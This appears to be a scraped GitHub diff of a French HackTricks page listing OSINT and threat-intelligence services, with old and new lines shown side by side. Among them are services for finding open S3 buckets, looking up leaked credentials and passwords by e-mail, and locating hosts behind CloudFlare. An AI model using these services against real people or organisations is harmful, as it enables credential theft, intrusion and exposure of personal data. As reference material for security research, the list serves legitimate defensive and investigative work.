Vérifiez si un hôte (domaine ou IP) est lié à des activités suspectes/malveillantes. Dispose de quelques accès API gratuits.\
|
||||
Commercial ?
|
||||
|
||||
# [FortiGuard](https://fortiguard.com/)
|
||||
## [FortiGuard](https://fortiguard.com/)
|
||||
|
||||
Vérifiez si un hôte \(domaine ou IP\) est lié à des activités suspectes/malveillantes. Dispose de quelques accès API gratuits.
|
||||
Vérifiez si un hôte (domaine ou IP) est lié à des activités suspectes/malveillantes. Dispose de quelques accès API gratuits.
|
||||
|
||||
# [SpamCop](https://www.spamcop.net/)
|
||||
## [SpamCop](https://www.spamcop.net/)
|
||||
|
||||
Indique si l'hôte est lié à des activités de spam. Dispose de quelques accès API gratuits.
|
||||
|
||||
# [mywot](https://www.mywot.com/)
|
||||
## [mywot](https://www.mywot.com/)
|
||||
|
||||
Basé sur des opinions et d'autres métriques, obtenez si un domaine est lié à des informations suspectes/malveillantes.
|
||||
Basé sur des opinions et d'autres métriques, déterminez si un domaine est lié à des informations suspectes/malveillantes.
|
||||
|
||||
# [ipinfo](https://ipinfo.io/)
|
||||
## [ipinfo](https://ipinfo.io/)
|
||||
|
||||
Obtient des informations de base à partir d'une adresse IP. Vous pouvez tester jusqu'à 100K/mois.
|
||||
|
||||
# [securitytrails](https://securitytrails.com/app/account)
|
||||
## [securitytrails](https://securitytrails.com/app/account)
|
||||
|
||||
Cette plateforme fournit des informations sur les domaines et les adresses IP comme les domaines à l'intérieur d'une adresse IP ou d'un serveur de domaine, les domaines possédés par un e-mail \(trouver des domaines associés\), l'historique des adresses IP des domaines \(trouver l'hôte derrière CloudFlare\), tous les domaines utilisant un serveur de noms....
|
||||
Cette plateforme fournit des informations sur les domaines et les adresses IP comme les domaines à l'intérieur d'une adresse IP ou d'un serveur de domaine, les domaines possédés par un e-mail (trouver les domaines associés), l'historique des adresses IP des domaines (trouver l'hôte derrière CloudFlare), tous les domaines utilisant un serveur de noms....\
|
||||
Vous avez un certain accès gratuit.
|
||||
|
||||
# [fullcontact](https://www.fullcontact.com/)
|
||||
## [fullcontact](https://www.fullcontact.com/)
|
||||
|
||||
Permet de rechercher par e-mail, domaine ou nom d'entreprise et de récupérer des informations "personnelles" associées. Il peut également vérifier les e-mails. Il y a un certain accès gratuit.
|
||||
|
||||
# [RiskIQ](https://www.spiderfoot.net/documentation/)
|
||||
## [RiskIQ](https://www.spiderfoot.net/documentation/)
|
||||
|
||||
Beaucoup d'informations sur les domaines et les adresses IP même dans la version gratuite/communautaire.
|
||||
|
||||
# [\_IntelligenceX](https://intelx.io/)
|
||||
## [\_IntelligenceX](https://intelx.io/)
|
||||
|
||||
Recherche de domaines, d'adresses IP et d'e-mails et obtention d'informations à partir de dumps. Dispose de certains accès gratuits.
|
||||
|
||||
# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
|
||||
## [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
|
||||
|
||||
Recherche par adresse IP et recueille des informations liées à des activités suspectes. Il y a un certain accès gratuit.
|
||||
|
||||
# [Greynoise](https://viz.greynoise.io/)
|
||||
## [Greynoise](https://viz.greynoise.io/)
|
||||
|
||||
Recherche par adresse IP ou plage d'adresses IP et obtenez des informations sur les adresses IP explorant Internet. 15 jours d'accès gratuit.
|
||||
Recherche par adresse IP ou plage d'adresses IP et obtenez des informations sur les adresses IP explorant Internet. Accès gratuit pendant 15 jours.
|
||||
|
||||
# [Shodan](https://www.shodan.io/)
|
||||
## [Shodan](https://www.shodan.io/)
|
||||
|
||||
Obtenez des informations de scan d'une adresse IP. Dispose de certains accès API gratuits.
|
||||
|
||||
# [Censys](https://censys.io/)
|
||||
## [Censys](https://censys.io/)
|
||||
|
||||
Très similaire à Shodan
|
||||
|
||||
# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
|
||||
## [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
|
||||
|
||||
Trouvez des buckets S3 ouverts en recherchant par mot-clé.
|
||||
|
||||
# [Dehashed](https://www.dehashed.com/data)
|
||||
## [Dehashed](https://www.dehashed.com/data)
|
||||
|
||||
Trouvez des identifiants divulgués d'e-mails et même de domaines
|
||||
Trouvez des identifiants divulgués d'e-mails et même de domaines\
|
||||
Commercial ?
|
||||
|
||||
# [psbdmp](https://psbdmp.ws/)
|
||||
## [psbdmp](https://psbdmp.ws/)
|
||||
|
||||
Recherchez des pastebins où un e-mail est apparu. Commercial ?
|
||||
|
||||
# [emailrep.io](https://emailrep.io/key)
|
||||
## [emailrep.io](https://emailrep.io/key)
|
||||
|
||||
Obtenez la réputation d'un e-mail. Commercial ?
|
||||
|
||||
# [ghostproject](https://ghostproject.fr/)
|
||||
## [ghostproject](https://ghostproject.fr/)
|
||||
|
||||
Obtenez des mots de passe à partir d'e-mails divulgués. Commercial ?
|
||||
|
||||
# [Binaryedge](https://www.binaryedge.io/)
|
||||
## [Binaryedge](https://www.binaryedge.io/)
|
||||
|
||||
Obtenez des informations intéressantes à partir d'adresses IP
|
||||
|
||||
# [haveibeenpwned](https://haveibeenpwned.com/)
|
||||
## [haveibeenpwned](https://haveibeenpwned.com/)
|
||||
|
||||
Recherchez par domaine et e-mail et découvrez s'ils ont été compromis et les mots de passe. Commercial ?
|
||||
|
||||
[https://dnsdumpster.com/](https://dnsdumpster.com/)\(dans un outil commercial?\)
|
||||
### [IP2Location.io](https://www.ip2location.io/)
|
||||
|
||||
[https://www.netcraft.com/](https://www.netcraft.com/) \(dans un outil commercial?\)
|
||||
|
||||
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(dans un outil commercial?\)
|
||||
Il détecte la géolocalisation des adresses IP, les centres de données, les ASN et même les informations sur les VPN. Il offre 30K requêtes gratuites par mois.
|
||||
|
||||
|
||||
|
||||
[https://dnsdumpster.com/](https://dnsdumpster.com/)(dans un outil commercial ?)
|
||||
|
||||
[https://www.netcraft.com/](https://www.netcraft.com/) (dans un outil commercial ?)
|
||||
|
||||
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) (dans un outil commercial ?)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
Loading…
Reference in a new issue